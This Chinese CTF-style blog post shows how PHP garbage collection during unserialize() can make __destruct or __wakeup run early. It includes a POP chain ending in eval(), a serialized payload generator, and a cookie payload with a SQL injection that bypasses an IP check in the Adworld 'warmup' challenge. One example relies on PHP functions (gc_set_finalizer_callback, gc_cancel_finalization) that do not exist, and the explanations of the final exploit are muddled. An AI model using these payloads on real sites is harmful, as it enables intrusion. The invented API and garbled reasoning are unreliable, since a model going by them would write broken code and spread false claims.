PHP Garbage Collection简称GC,中文翻译PHP垃圾回收,是PHP在5.3版本之后推出的专门针对垃圾回收的机制,在5.3版本之前,因为信息的重复使用导致的内存冗余一直很恶心,所以PHP推出了GC机制以对内存问题进行优化
具体原理请师傅们移步官方文档,在这里就不对赘述了
https://www.php.net/manual/zh/features.gc.collecting-cycles.php
<?php highlight_file(__FILE__); error_reporting(0); class YHQK{ public $Ihavegirlfriend; public function __construct($Ihavegirlfriend) { $this->Ihavegirlfriend =$Ihavegirlfriend; echo $this->Ihavegirlfriend."areyouxianmume"."</br>"; } public function __destruct(){ echo $this->Ihavegirlfriend."nonono"."</br>"; } } new YHQK(1); $a = new YHQK(2); $b = new YHQK(3); ?>
可以看出来,进程一的开始和结束都在进程2和进程三之前
原因看最后的三行代码
new YHQK(1); $a = new YHQK(2); $b = new YHQK(3);
进程2和进程三都有明确的指向变量,准确来说,是对象2和对象3都具有明确的变量指向
但是对象一并没有,对象一只是简单的被实例化,没有指向的变量
所以会被GC回收机制删除掉,导致提前触发destruct魔术方法
这里体现的是GC非常强的强制性,以至于他能控制php的魔术方法。
而众所周知,destruct这个魔术方法是几乎必然要被触发的
所以既然他可以强制这样一个魔法函数提前触发,是不是也可以强制他不被触发
<?php class YHQK { public function __construct() { echo "Object created\n"; } public function __destruct() { echo "Object destroyed\n"; } } function gc_callback($obj) { if ($obj instanceof YHQK) { echo "GC callback: YHQK instance found, blocking __destruct\n"; gc_cancel_finalization($obj); } } gc_enable(); gc_set_finalizer_callback('gc_callback'); $obj1 = new YHQK(); $obj2 = new YHQK(); $obj2 = null; unset($obj1);
这里使用了gc_set_finalizer_callback函数来注册一个回调函数,当垃圾回收器发现一个待回收的对象时,就会调用这个回调函数。在回调函数中,如果检测到待回收的对象是MyClass类的实例,就会使用gc_cancel_finalization函数取消其析构函数的执行,从而达到阻止__destruct方法执行的效果。
<?php highlight_file(__FILE__); error_reporting(0); class ssz1{ public $bzh; public function __destruct(){ echo "hello __destruct"; echo $this->bzh; } } class ssz2{ public $bzh; public function __toString() { echo "hello __toString"; $this->bzh->flag(); } } class ssz3{ public $bzh; public function getyourgirlfriend() { echo "hello wowowo()"; eval($this->bzh); } } $a=unserialize($_GET['cmd']); throw new Exception("nonono"); ?>
throw new Exception("nonono");
这行代码的作用会阻断destruct的执行
而我们需要运行的pop链是
ssz1::destruct() --> ssz2::toString() --> ssz3::getyourgirlfriend()
这就导致我们从一开始就断了
但是,通过GC机制的不讲道理,我们可以直接引发destruct的执行
<?php error_reporting(0); class ssz1{ public $bzh; public function __construct() { $this->bzh = new ssz2(); } } class ssz2{ public $bzh; public function __construct() { $this->bzh = new ssz3(); } } class ssz3{ public $bzh = "phpinfo();"; } $a = new ssz1(); $c = array(0=>$a,1=>NULL); echo serialize($c); ?>
在这里,我们直接把ssz1直接架空,造成了GC机制的触发
然而受威胁的不只是destruct方法,还有wakeup方法
一般来说,GC回收机制不会直接触发对象的魔术方法,包括wakeup方法。这是因为,GC回收机制的主要目的是清除不再使用的内存空间,而不是执行对象的方法。
在PHP中,wakeup方法是一种特殊的魔术方法,用于在对象从序列化中被重新构建时进行初始化。当对象被序列化时,它的内部状态会被保存为字符串。当它被反序列化时,它的状态将被恢复,并且wakeup方法将被调用以重新初始化该对象。
由于GC回收机制不会直接触发对象的魔术方法,因此它也不会直接触发wakeup方法。但是,如果一个对象被回收并重新构建,例如在使用共享内存或者进程间通信时,那么它的wakeup方法可能会被调用。这是因为在这种情况下,对象的状态需要重新初始化,就像在反序列化时一样。
实战题目演练
以攻防世界warmup
<?php include 'flag.php'; class SQL { public $table = ''; public $username = ''; public $password = ''; public $conn; public function __construct() { } public function connect() { $this->conn = new mysqli("localhost", "xxxxx", "xxxx", "xxxx"); } public function check_login(){ $result = $this->query(); if ($result === false) { die("database error, please check your input"); } $row = $result->fetch_assoc(); if($row === NULL){ die("username or password incorrect!"); }else if($row['username'] === 'admin'){ $flag = file_get_contents('flag.php'); echo "welcome, admin! this is your flag -> ".$flag; }else{ echo "welcome! but you are not admin"; } $result->free(); } public function query() { $this->waf(); return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'"); } public function waf(){ $blacklist = ["union", "join", "!", "\"", "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"]; foreach ($blacklist as $value) { if(strripos($this->table, $value)){ die('bad hacker,go out!'); } } foreach ($blacklist as $value) { if(strripos($this->username, $value)){ die('bad hacker,go out!'); } } foreach ($blacklist as $value) { if(strripos($this->password, $value)){ die('bad hacker,go out!'); } } } public function __wakeup(){ if (!isset ($this->conn)) { $this->connect (); } if($this->table){ $this->waf(); } $this->check_login(); $this->conn->close(); } } ?>
<!doctype html> <html> <head> <meta charset="utf-8"> <title>平平无奇的登陆界面</title> </head> <style type="text/css"> body { margin: 0; padding: 0; font-family: sans-serif; background: url("static/background.jpg"); /*背景图片自定义*/ background-size: cover; } .box { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); width: 400px; padding: 40px; background: rgba(0, 0, 0, .8); box-sizing: border-box; box-shadow: 0 15px 25px rgba(0, 0, 0, .5); border-radius: 10px; /*登录窗口边角圆滑*/ } .box h2 { margin: 0 0 30px; padding: 0; color: #fff; text-align: center; } .box .inputBox { position: relative; } .box .inputBox input { width: 100%; padding: 10px 0; font-size: 16px; color: #fff; letter-spacing: 1px; margin-bottom: 30px; /*输入框设置*/ border: none; border-bottom: 1px solid #fff; outline: none; background: transparent; } .box .inputBox label { position: absolute; top: 0; left: 0; padding: 10px 0; font-size: 16px; color: #fff; pointer-events: none; transition: .5s; } .box .inputBox input:focus~label, .box .inputBox input:valid~label { top: -18px; left: 0; color: #03a9f4; font-size: 12px; } .box input[type="submit"] { background: transparent; border: none; outline: none; color: #fff; background: #03a9f4; padding: 10px 20px; cursor: pointer; border-radius: 5px; } </style> <body> <div class="box"> <h2>请登录</h2> <form method="post" action="index.php"> <div class="inputBox"> <input type="text" name="username" required=""> <label>用户名</label> </div> <div class="inputBox"> <input type="password" name="password" required=""> <label>密码</label> </div> <input type="submit" name="" value="登录"> </form> </div> </body> </html> <?php include 'conn.php'; include 'flag.php'; if (isset ($_COOKIE['last_login_info'])) { $last_login_info = unserialize (base64_decode ($_COOKIE['last_login_info'])); try { if (is_array($last_login_info) && $last_login_info['ip'] != $_SERVER['REMOTE_ADDR']) { die('WAF info: your ip status has been changed, you are dangrous.'); } } catch(Exception $e) { die('Error'); } } else { $cookie = base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR']))) ; setcookie ('last_login_info', $cookie, time () + (86400 * 30)); } if(isset($_POST['username']) && isset($_POST['password'])){ $table = 'users'; $username = addslashes($_POST['username']); $password = addslashes($_POST['password']); $sql = new SQL(); $sql->connect(); $sql->table = $table; $sql->username = $username; $sql->password = $password; $sql->check_login(); } ?>
<?php echo $_SERVER['REMOTE_ADDR'];
其实这个题目的本意并不是想要利用GC回收机制,只是确实是碰巧
这里对于GC的利用点在于绕过if判断语句对IP地址的检测,直接触发wakeup方法进行sql注入
但是不得不讲,他这里的sql注入真的水,waf了那么多东西,连个万能密码都能过不去
对于题目的代码就没什么好说的了,就是数据库为users,用户名是admin,就能过去
由于本篇文章主要讲解GC回收时间窃取攻击,就不多赘述了
POC
<?php class SQL { } $sql = new SQL(); $sql->table = 'users'; $sql->username = 'admin'; $sql->password = "' or '1'='1"; $poc = array($sql,1); echo base64_encode(str_replace('i:1','i:0',serialize($poc)));
在这里,由于sql语句中or的特性,导致传入的值其实是“'”
体现在序列化字符里就是i:1
然后通过
str_replace('i:1','i:0',serialize($poc))
的一步替换,成功将password值置空,或者说是
此时触发了GC回收机制,然而讲password回收之后
对SQL这个对象就需要重新初始化
这就导致wakeup魔术方法被优先于if判断IP地址的语句执行
最终的执行结果是这样的
可以看到
我们没有进行IP的操作,也最终导致了报错
但是我们提前触发了wakeup方法
造成了flag的输出
利用GC回收机制好象是一个很冷门的知识和攻击方法
我在CSDN上并没有找到相应的题目
关于GC时间窃取攻击的博客可以说基本没有
但是这个攻击方式最强大的地方在于他对魔术方法触发时机的控制
可能会导致很多意想不到的漏洞
在本题目中它可以直接导致对IP判断的失效
导致用户可以直接无视一些限制
所以开发者要秉持“不要相信任何用户输入的东西”
最后还是希望师傅们多写一些关于GC时间窃取攻击的博客把
弟弟是真的在网上很难找到东西呜呜呜